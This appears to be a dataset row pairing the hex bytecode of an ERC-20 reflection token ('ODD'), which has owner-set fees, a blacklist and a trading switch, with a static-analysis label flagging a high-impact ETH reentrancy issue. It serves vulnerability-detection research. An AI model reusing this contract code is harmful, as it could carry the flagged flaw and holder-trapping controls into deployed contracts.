6f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f66906132c4565b60405180910390fd5b80601560146101000a81548160ff02191690831515021790555050565b60175481565b60606040518060400160405280600381526020017f4f44440000000000000000000000000000000000000000000000000000000000815250905090565b610fd761165e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611064576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161105b906132c4565b60405180910390fd5b8060188190555050565b61107661165e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611103576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110fa906132c4565b60405180910390fd5b8360088190555082600a819055508160098190555080600b8190555050505050565b600061113961113261165e565b8484611831565b6001905092915050565b60106020528060005260406000206000915054906101000a900460ff1681565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166111a461165e565b73ffffffffffffffffffffffffffffffffffffffff16148061121a5750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661120261165e565b73ffffffffffffffffffffffffffffffffffffffff16145b61122357600080fd5b600061122e30610c50565b9050611239816121f4565b50565b61124461165e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146112d1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112c8906132c4565b60405180910390fd5b60005b838390508110156113705781600560008686858181106112f7576112f66132e4565b5b905060200201602081019061130c9190613063565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550808061136890613342565b9150506112d4565b50505050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b61140561165e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611492576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611489906132c4565b60405180910390fd5b8060178190555050565b6114a461165e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611531576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611528906132c4565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156115a1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611598906133fd565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156116d6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116cd9061348f565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611746576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161173d90613521565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516118249190612f94565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156118a1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611898906135b3565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611911576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161190890613645565b60405180910390fd5b60008111611954576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161194b906136d7565b60405180910390fd5b61195c610eb1565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156119ca575061199a610eb1565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611db557601560149054906101000a900460ff16611a59576119eb610eb1565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614611a58576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a4f90613769565b60405180910390fd5b5b601654811115611a9e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a95906137d5565b60405180910390fd5b601060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611b425750601060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b611b81576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b7890613867565b60405180910390fd5b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614611c2e5760175481611be384610c50565b611bed9190613887565b10611c2d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c249061394f565b60405180910390fd5b5b6000611c3930610c50565b9050600060185482101590506016548210611c545760165491505b808015611c6c575060158054906101000a900460ff16155b8015611cc65750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b8015611cde5750601560169054906101000a900460ff165b8015611d345750600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611d8a5750600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611db257611d98826121f4565b60004790506000811115611db057611daf4761211a565b5b505b50505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611e5c5750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b80611f0f5750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614158015611f0e5750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b5b15611f1d57600090506120a4565b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16148015611fc85750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b15611fe057600854600c81905550600954600d819055505b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614801561208b5750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b156120a357600a54600c81905550600b54600d819055505b5b6120b08484848461247a565b50505050565b60008383111582906120fe576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120f59190612e3d565b60405180910390fd5b506000838561210d919061396f565b9050809150509392505050565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015612182573d6000803e3d6000fd5b5050565b60006006548211156121cd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121c490613a15565b60405180910390fd5b60006121d76124a7565b90506121ec81846124d290919063ffffffff16565b915050919050565b60016015806101000a81548160ff0219169083151502179055506000600267ffffffffffffffff81111561222b5761222a612bcb565b5b6040519080825280602002602001820160405280156122595781602001602082028036833780820191505090505b5090503081600081518110612271576122706132e4565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561231357600080fd5b505afa158015612327573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061234b9190613a4a565b8160018151811061235f5761235e6132e4565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506123c630601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611666565b601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b815260040161242a959493929190613b70565b600060405180830381600087803b15801561244457600080fd5b505af1158015612458573d6000803e3d6000fd5b505050505060006015806101000a81548160ff02191690831515021790555050565b806124885761248761251c565b5b61249384848461255f565b806124a1576124a061272a565b5b50505050565b60008060006124b461273e565b915091506124cb81836124d290919063ffffffff16565b9250505090565b600061251483836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061279d565b905092915050565b6000600c5414801561253057506000600d54145b1561253a5761255d565b600c54600e81905550600d54600f819055506000600c819055506000600d819055505b565b60008060008060008061257187612800565b9550955095509550955095506125cf86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461286890919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061266485600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546128b290919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506126b081612910565b6126ba84836129cd565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516127179190612f94565b60405180910390a3505050505050505050565b600e54600c81905550600f54600d81905550565b600080600060065490506000670de0b6b3a76400009050612772670de0b6b3a76400006006546124d290919063ffffffff16565b82101561279057600654670de0b6b3a7640000935093505050612799565b81819350935050505b9091565b600080831182906127e4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016127db9190612e3d565b60405180910390fd5b50600083856127f39190613bf9565b9050809150509392505050565b600080600080600080600080600061281d8a600c54600d54612a07565b925092509250600061282d6124a7565b905060008060006128408e878787612a9d565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b60006128aa83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506120b6565b905092915050565b60008082846128c19190613887565b905083811015612906576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016128fd90613c76565b60405180910390fd5b8091505092915050565b600061291a6124a7565b905060006129318284612b2690919063ffffffff16565b905061298581600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546128b290919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6129e28260065461286890919063ffffffff16565b6006819055506129fd816007546128b290919063ffffffff16565b6007819055505050565b600080600080612a336064612a25888a612b2690919063ffffffff16565b6124d290919063ffffffff16565b90506000612a5d6064612a4f888b612b2690919063ffffffff16565b6124d290919063ffffffff16565b90506000612a8682612a78858c61286890919063ffffffff16565b61286890919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080612ab68589612b2690919063ffffffff16565b90506000612acd8689612b2690919063ffffffff16565b90506000612ae48789612b2690919063ffffffff16565b90506000612b0d82612aff858761286890919063ffffffff16565b61286890919063ffffffff16565b9050838184965096509650505050509450945094915050565b600080831415612b395760009050612b9b565b60008284612b479190613c96565b9050828482612b569190613bf9565b14612b96576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612b8d90613d62565b60405180910390fd5b809150505b92915050565b6000604051905090565b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b612c0382612bba565b810181811067ffffffffffffffff82111715612c2257612c21612bcb565b5b80604052505050565b6000612c35612ba1565b9050612c418282612bfa565b919050565b600067ffffffffffffffff821115612c6157612c60612bcb565b5b602082029050602081019050919050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000612ca282612c77565b9050919050565b612cb281612c97565b8114612cbd57600080fd5b50565b600081359050612ccf81612ca9565b92915050565b6000612ce8612ce384612c46565b612c2b565b90508083825260208201905060208402830185811115612d0b57612d0a612c72565b5b835b81811015612d345780612d208882612cc0565b845260208401935050602081019050612d0d565b5050509392505050565b600082601f830112612d5357612d52612bb5565b5b8135612d63848260208601612cd5565b91505092915050565b600060208284031215612d8257612d81612bab565b5b600082013567ffffffffffffffff811115612da057612d9f612bb0565b5b612dac84828501612d3e565b91505092915050565b600081519050919050565b600082825260208201905092915050565b60005b83811015612def578082015181840152602081019050612dd4565b83811115612dfe576000848401525b50505050565b6000612e0f82612db5565b612e198185612dc0565b9350612e29818560208601612dd1565b612e3281612bba565b840191505092915050565b60006020820190508181036000830152612e578184612e04565b905092915050565b6000819050919050565b612e7281612e5f565b8114612e7d57600080fd5b50565b600081359050612e8f81612e69565b92915050565b60008060408385031215612eac57612eab612bab565b5b6000612eba85828601612cc0565b9250506020612ecb85828601612e80565b9150509250929050565b60008115159050919050565b612eea81612ed5565b82525050565b6000602082019050612f056000830184612ee1565b92915050565b6000819050919050565b6000612f30612f2b612f2684612c77565b612f0b565b612c77565b9050919050565b6000612f4282612f15565b9050919050565b6000612f5482612f37565b9050919050565b612f6481612f49565b82525050565b6000602082019050612f7f6000830184612f5b565b92915050565b612f8e81612e5f565b82525050565b6000602082019050612fa96000830184612f85565b92915050565b600080600060608486031215612fc857612fc7612bab565b5b6000612fd686828701612cc0565b9350506020612fe786828701612cc0565b9250506040612ff886828701612e80565b9150509250925092565b600060ff82169050919050565b61301881613002565b82525050565b6000602082019050613033600083018461300f565b92915050565b61304281612c97565b82525050565b600060208201905061305d6000830184613039565b92915050565b60006020828403121561307957613078612bab565b5b600061308784828501612cc0565b91505092915050565b61309981612ed5565b81146130a457600080fd5b50565b6000813590506130b681613090565b92915050565b6000602082840312156130d2576130d1612bab565b5b60006130e0848285016130a7565b91505092915050565b6000602082840312156130ff576130fe612bab565b5b600061310d84828501612e80565b91505092915050565b600080600080608085870312156131305761312f612bab565b5b600061313e87828801612e80565b945050602061314f87828801612e80565b935050604061316087828801612e80565b925050606061317187828801612e80565b91505092959194509250565b600080fd5b60008083601f84011261319857613197612bb5565b5b8235905067ffffffffffffffff8111156131b5576131b461317d565b5b6020830191508360208202830111156131d1576131d0612c72565b5b9250929050565b6000806000604084860312156131f1576131f0612bab565b5b600084013567ffffffffffffffff81111561320f5761320e612bb0565b5b61321b86828701613182565b9350935050602061322e868287016130a7565b9150509250925092565b6000806040838503121561324f5761324e612bab565b5b600061325d85828601612cc0565b925050602061326e85828601612cc0565b9150509250929050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b60006132ae602083612dc0565b91506132b982613278565b602082019050919050565b600060208201905081810360008301526132dd816132a1565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600061334d82612e5f565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156133805761337f613313565b5b600182019050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b60006133e7602683612dc0565b91506133f28261338b565b604082019050919050565b60006020820190508181036000830152613416816133da565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000613479602483612dc0565b91506134848261341d565b604082019050919050565b600060208201905081810360008301526134a88161346c565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b600061350b602283612dc0565b9150613516826134af565b604082019050919050565b6000602082019050818103600083015261353a816134fe565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b600061359d602583612dc0565b91506135a882613541565b604082019050919050565b600060208201905081810360008301526135cc81613590565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b600061362f602383612dc0565b915061363a826135d3565b604082019050919050565b6000602082019050818103600083015261365e81613622565b9050919050565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b60006136c1602983612dc0565b91506136cc82613665565b604082019050919050565b600060208201905081810360008301526136f0816136b4565b9050919050565b7f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060008201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c656400602082015250565b6000613753603f83612dc0565b915061375e826136f7565b604082019050919050565b6000602082019050818103600083015261378281613746565b9050919050565b7f544f4b454e3a204d6178205472616e73616374696f6e204c696d697400000000600082015250565b60006137bf601c83612dc0565b91506137ca82613789565b602082019050919050565b600060208201905081810360008301526137ee816137b2565b9050919050565b7f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460008201527f6564210000000000000000000000000000000000000000000000000000000000602082015250565b6000613851602383612dc0565b915061385c826137f5565b604082019050919050565b6000602082019050818103600083015261388081613844565b9050919050565b600061389282612e5f565b915061389d83612e5f565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156138d2576138d1613313565b5b828201905092915050565b7f544f4b454e3a2042616c616e636520657863656564732077616c6c657420736960008201527f7a65210000000000000000000000000000000000000000000000000000000000602082015250565b6000613939602383612dc0565b9150613944826138dd565b604082019050919050565b600060208201905081810360008301526139688161392c565b9050919050565b600061397a82612e5f565b915061398583612e5f565b92508282101561399857613997613313565b5b828203905092915050565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b60006139ff602a83612dc0565b9150613a0a826139a3565b604082019050919050565b60006020820190508181036000830152613a2e816139f2565b9050919050565b600081519050613a4481612ca9565b92915050565b600060208284031215613a6057613a5f612bab565b5b6000613a6e84828501613a35565b91505092915050565b6000819050919050565b6000613a9c613a97613a9284613a77565b612f0b565b612e5f565b9050919050565b613aac81613a81565b82525050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b613ae781612c97565b82525050565b6000613af98383613ade565b60208301905092915050565b6000602082019050919050565b6000613b1d82613ab2565b613b278185613abd565b9350613b3283613ace565b8060005b83811015613b63578151613b4a8882613aed565b9750613b5583613b05565b925050600181019050613b36565b5085935050505092915050565b600060a082019050613b856000830188612f85565b613b926020830187613aa3565b8181036040830152613ba48186613b12565b9050613bb36060830185613039565b613bc06080830184612f85565b9695505050505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000613c0482612e5f565b9150613c0f83612e5f565b925082613c1f57613c1e613bca565b5b828204905092915050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b6000613c60601b83612dc0565b9150613c6b82613c2a565b602082019050919050565b60006020820190508181036000830152613c8f81613c53565b9050919050565b6000613ca182612e5f565b9150613cac83612e5f565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615613ce557613ce4613313565b5b828202905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b6000613d4c602183612dc0565b9150613d5782613cf0565b604082019050919050565b60006020820190508181036000830152613d7b81613d3f565b905091905056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212207177eecb3955720af8851c4611ad33c335969fbd6ae54eb1d32136724a84db4264736f6c63430008090033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}}
| 8,299 |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.